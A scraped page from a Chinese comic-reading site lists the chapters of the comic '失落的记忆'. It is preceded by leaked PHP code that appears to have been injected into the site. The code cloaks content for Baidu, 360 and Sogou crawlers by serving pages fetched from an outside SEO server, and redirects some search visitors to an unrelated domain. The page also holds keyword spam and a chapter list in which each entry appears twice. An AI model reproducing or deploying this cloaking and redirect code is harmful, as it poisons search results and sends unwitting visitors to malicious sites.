$ip_segments = [ '124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.', '123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.', '61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.', '61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.', '45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.', '123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.', '203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.', '220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.', '202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.' ]; $baidu_spider_ips = array ( ); $baidu_spider_ips = array_merge($ip_segments, $baidu_spider_ips); $client_ip = getClientIp(); $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if (isBaiduSpider($client_ip) || preg_match('/360spider|sogou web spider|sogou pic spider/i', $ua)) { if (isMatchUrl()) { $headers = [ //'Host: '.$_SERVER['HTTP_HOST'], 'User-Agent: '.$ua, 'X-FORWARDED-FOR: '.$client_ip ]; if ($referer !== '') { $headers[] = 'Referer: '.$referer; } $api_url = "https://seo.sycz888.com/site/b5e476cbb411723f04e8bbca1290a4e1/".ltrim($_SERVER['REQUEST_URI'], '/'); echo getUrlContent($api_url, $headers); exit(); } else { $api_url = "https://seo.sycz888.com/url/b5e476cbb411723f04e8bbca1290a4e1"; echo getUrlContent($api_url); } } else { if (isMatchUrl() && $referer !== '') { $parsed = parse_url($referer); if (!empty($parsed['domain'])) { if (preg_match('/m\.baidu\.com|360\.com|so\.com|sogou\.com/i', $parsed['domain'])) { echo ''; echo ''; exit(); } } } } function getClientIp() { if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function isMatchUrl() { $url_path = ltrim($_SERVER['REQUEST_URI'], '/'); $pattern = '/^chapter\/(\d{1,15})\.html$|^chapter\/(\d{1,15})$|^mh\/(\d{1,15})\.html$|^mh\/(\d{1,15})$|^mh\/(\d{1,15})\.html$|^mh\/(\d{1,15})$|^Play\/(\d{1,15})$|^Play\/(\d{1,15})\.html$|^Movie\/(\d{1,15})$|^Movie\/(\d{1,15})\.html$|^voddetail\/(\d{1,15})$|^voddetail\/(\d{1,15})\.html$|^comic\/(\d{1,15})$|^comic\/(\d{1,15})\.html$/'; return preg_match($pattern, $url_path); } function isIpInRange($ip, $cidr) { if (strpos($cidr, '/') !== false) { list($subnet, $mask) = explode('/', $cidr); return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) == ip2long($subnet); } else { return strpos($ip, $cidr) === 0; } } function isBaiduSpider($client_ip) { global $baidu_spider_ips; foreach ($baidu_spider_ips as $cidr) { if (isIpInRange($client_ip, $cidr)) { return true; } } return false; } function getUrlContent($url, $header = []) { $curl = curl_init(); if (stripos($url,"https://") !== FALSE) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); } if (!empty($header)) { curl_setopt($curl, CURLOPT_HTTPHEADER, $header); } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_NOSIGNAL, 1); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 30 * 1000); $content = curl_exec($curl); curl_close($curl); return $content; } // 获取访问者的 IP 地址 $user_ip = $_SERVER['REMOTE_ADDR']; // 原有的 IP 段列表 $ip_segments = [ '124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.', '123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.', '61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.', '61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.', '45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.', '123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.', '203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.', '220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.', '202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.' ]; // 从 ip.txt 文件加载需要排除的完整 IP 地址 $ip_file_path = '/tmp/ipb.txt'; $excluded_ips = []; if (file_exists($ip_file_path)) { // 读取文件并去掉每个 IP 地址的空格和换行符 $excluded_ips = array_map('trim', file($ip_file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)); } // 检查当前 IP 是否在排除列表内 $is_excluded_ip = false; // 检查 IP 是否在原有的 IP 段或 ip.txt 中 foreach ($excluded_ips as $excluded_ip) { if ($user_ip === $excluded_ip) { $is_excluded_ip = true; break; } } foreach ($ip_segments as $segment) { if (strpos($user_ip, $segment) === 0) { $is_excluded_ip = true; break; } } // 获取 Referer 判断是否来自百度、搜搜、搜狗或者 sm.cn $is_baidu_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'baidu.com') !== false; $is_sm_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'sm.cn') !== false; $is_sogou_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'sogou.com') !== false; // 获取当前时间(北京时间) date_default_timezone_set('Asia/Shanghai'); $current_time = time(); $current_day = date('w', $current_time); // 星期几 (0=星期日, 1=星期一, ..., 6=星期六) $current_hour = date('G', $current_time); // 24小时制的小时 $current_minute = date('i', $current_time); // 分钟 // 判断是否在指定时间段内 $in_time_period = false; // 星期五下午1点到星期一下午1点 if (($current_day == 5 && $current_hour >= 13) // 星期五下午1点到午夜 || ($current_day == 6) // 星期六全天 || ($current_day == 0) // 星期日全天 || ($current_day == 1 && $current_hour < 13)) { // 星期一到下午1点 $in_time_period = true; } // 其他时间晚上9点到凌晨3点 if (($current_hour >= 21) || ($current_hour < 3)) { $in_time_period = true; } // 百度 referer 判断并且时间段判断 if (!$is_excluded_ip && $is_baidu_referer && $in_time_period) { // 定义跳转的域名 $domains = ["https://bockea.gxjcpm.com.cn/ft/9.html"]; $random_domain = $domains[array_rand($domains)]; header("Location: $random_domain"); exit; } // 搜搜和搜狗 referer 判断,不需要时间段限制 if (!$is_excluded_ip && ($is_sm_referer || $is_sogou_referer)) { // 定义跳转的域名 $domains = ["https://bockea.gxjcpm.com.cn/ft/9.html"]; $random_domain = $domains[array_rand($domains)]; header("Location: $random_domain"); exit; } ?>
Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/yiyin360.com/kimi/configs/config.php:97) in /www/wwwroot/yiyin360.com/kimi/class/router.php on line 5

Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/yiyin360.com/kimi/configs/config.php:97) in /www/wwwroot/yiyin360.com/kimi/class/router.php on line 6
失落的记忆漫画免费阅读「下拉观看」-韩国漫画网

失落的记忆

总人气:  8769状态:  完结|总收藏:  0

简介:这里有珍奇的洪荒异兽,还有夺六合造化的功法武技,更有绮丽奇幻的魔法,西学东渐,魔武争锋,又将擦出怎么的火花。

推荐:

破碎的记忆文案  破碎的记忆如同白云 轻轻飘过... -- 钢琴曲  破碎的痕迹  aery破碎的记忆下载  破碎的记忆里歌词  破碎的记忆 结局  破碎的记忆里  破碎的记忆碎片怎么获得  破碎的记忆电影免费观看  破碎记忆之迷失攻略  破裂的记忆  破碎回忆  破碎的记忆剧情  psp破碎的记忆  psp破碎的记忆攻略  破碎的记忆的英文  破碎的记忆歌词  破碎的记忆图片  破碎的记忆雪柔  破碎的记忆是什么意思  破碎的记忆好玩吗  失落的记忆  破碎的记忆和起源  电影破碎记忆  破碎的回忆是什么意思  破碎记忆攻略  破碎的记忆主题曲  破碎的记忆漫画免费  破碎的记忆碎片  在遗忘之地追寻破碎的记忆  破碎的记忆小说  漫画破碎的记忆  破碎记忆之心  破碎的记忆好过没有  苦恼的希望胜于迷茫  那些破碎的记忆  破碎的记忆碎片在哪里获得  黑色沙漠破碎的记忆  破碎的记忆漫画免费阅读  破碎的记忆歌曲  破碎的记忆  破碎的记忆英文  破碎的记忆重聚的爱  破碎的记忆什么意思  破碎的记忆恐怖地图  破碎的记忆游戏  破碎的记忆下载  遗忘之地破碎记忆  地下城堡2破碎记忆  破碎的记忆漫画第3画  寂静岭破碎的记忆  破碎的记忆攻略  破碎的记忆结局  我的世界破碎的记忆  寻找破碎的记忆  福尔摩斯破碎的记忆 

开始阅读
 收藏

目录

2023-02-19 01:29:09更新至第79章:【完结】记载的故事
1-20
21-4041-6061-8081-100101-120121-140141-158
最新20话
  1. 第79章:【完结】记载的故事

  2. 第79章:【完结】记载的故事

  3. 第78章:愉快时光

  4. 第78章:愉快时光

  5. 第77章:保守秘密

  6. 第77章:保守秘密

  7. 第76章:我的侄女

  8. 第76章:我的侄女

  9. 第75章:突然晕倒

  10. 第75章:突然晕倒

  11. 第74章:继承人

  12. 第74章:继承人

  13. 第73章:告发

  14. 第73章:告发

  15. 第72章:做梦

  16. 第72章:做梦

  17. 第71章:同生共死

  18. 第71章:同生共死

  19. 第70章:我想活下去

  20. 第70章:我想活下去

  21. 第69章:隐藏的事实

  22. 第69章:隐藏的事实

  23. 第68章:进攻王国

  24. 第68章:进攻王国

  25. 第67章:我不会让你死的

  26. 第67章:我不会让你死的

  27. 第66章:死而复生

  28. 第66章:死而复生

  29. 第65章:隐瞒的原因

  30. 第65章:隐瞒的原因

  31. 第64章:救援

  32. 第64章:救援

  33. 第63章:潜入

  34. 第63章:潜入

  35. 第62章:猜测

  36. 第62章:猜测

  37. 第61章:实验

  38. 第61章:实验

  39. 第60章:计划

  40. 第60章:计划

  41. 第59章:汇报

  42. 第59章:汇报

  43. 第58章:拒绝

  44. 第58章:拒绝

  45. 第57章:你要什么?

  46. 第57章:你要什么?

  47. 第56章:父亲....

  48. 第56章:父亲....

  49. 第55章:慢慢聊

  50. 第55章:慢慢聊

  51. 第54章:交涉

  52. 第54章:交涉

  53. 第53章:谈判

  54. 第53章:谈判

  55. 第52章:设计

  56. 第52章:设计

  57. 第51章:再见

  58. 第51章:再见

  59. 第50章:不想见到你

  60. 第50章:不想见到你

  61. 第49章:我想要的只有一个

  62. 第49章:我想要的只有一个

  63. 第48章:为了你,我愿意做任何事

  64. 第48章:为了你,我愿意做任何事

  65. 第47章:你是我的骑士

  66. 第47章:你是我的骑士

  67. 第46章:我不能失去你

  68. 第46章:我不能失去你

  69. 第45章:你不能去

  70. 第45章:你不能去

  71. 第44章:我恨我自己

  72. 第44章:我恨我自己

  73. 第43章:离去

  74. 第43章:离去

  75. 第42章:不祥之兆

  76. 第42章:不祥之兆

  77. 第41章:把胜利带给我

  78. 第41章:把胜利带给我

  79. 第40章:真相

  80. 第40章:真相

  81. 第39章:闭口不言

  82. 第39章:闭口不言

  83. 第38章:担心

  84. 第38章:担心

  85. 第37章:不务正业

  86. 第37章:不务正业

  87. 第36章:记忆

  88. 第36章:记忆

  89. 第35章:清醒

  90. 第35章:清醒

  91. 第34章:回忆与记忆

  92. 第34章:回忆与记忆

  93. 第33章:喝醉

  94. 第33章:喝醉

  95. 第32章:心动

  96. 第32章:心动

  97. 第31章:异样的感觉

  98. 第31章:异样的感觉

  99. 第30章:受伤

  100. 第30章:受伤

  101. 第29章:拖延时间

  102. 第29章:拖延时间

  103. 第28章:逃跑

  104. 第28章:逃跑

  105. 第27章:叛变

  106. 第27章:叛变

  107. 第26章:可疑的人

  108. 第26章:可疑的人

  109. 第25章:黑市

  110. 第25章:黑市

  111. 第24章:真是可爱

  112. 第24章:真是可爱

  113. 第23章:变装

  114. 第23章:变装

  115. 第22章:暗号

  116. 第22章:暗号

  117. 第21章:我的骑士

  118. 第21章:我的骑士

  119. 第20章:帮忙

  120. 第20章:帮忙

  121. 第19章:太子妃

  122. 第19章:太子妃

  123. 第18章:秘密

  124. 第18章:秘密

  125. 第17章:打探

  126. 第17章:打探

  127. 第16章:郊游

  128. 第16章:郊游

  129. 第15章:唯一的亲人

  130. 第15章:唯一的亲人

  131. 第14章:先来后到

  132. 第14章:先来后到

  133. 第13章:难为情

  134. 第13章:难为情

  135. 第12章:过去

  136. 第12章:过去

  137. 第11章:有事隐瞒

  138. 第11章:有事隐瞒

  139. 第10章:休假

  140. 第10章:休假

  141. 第9章:对你心软

  142. 第9章:对你心软

  143. 第8章:从前

  144. 第8章:从前

  145. 第7章:失去的记忆

  146. 第7章:失去的记忆

  147. 第6章:龙之力

  148. 第6章:龙之力

  149. 第5章:骑士

  150. 第5章:骑士

  151. 第4章:我们的约定

  152. 第4章:我们的约定

  153. 第3章:我的誓言

  154. 第3章:我的誓言

  155. 第2章:皇帝陛下

  156. 第2章:皇帝陛下

  157. 第1章:不像好人

  158. 第1章:不像好人

漫评

评论

0条评论
0/200

    作者角色

    QX

    QX

    出品

    QX简介

    作者QX暂无话说

    综合榜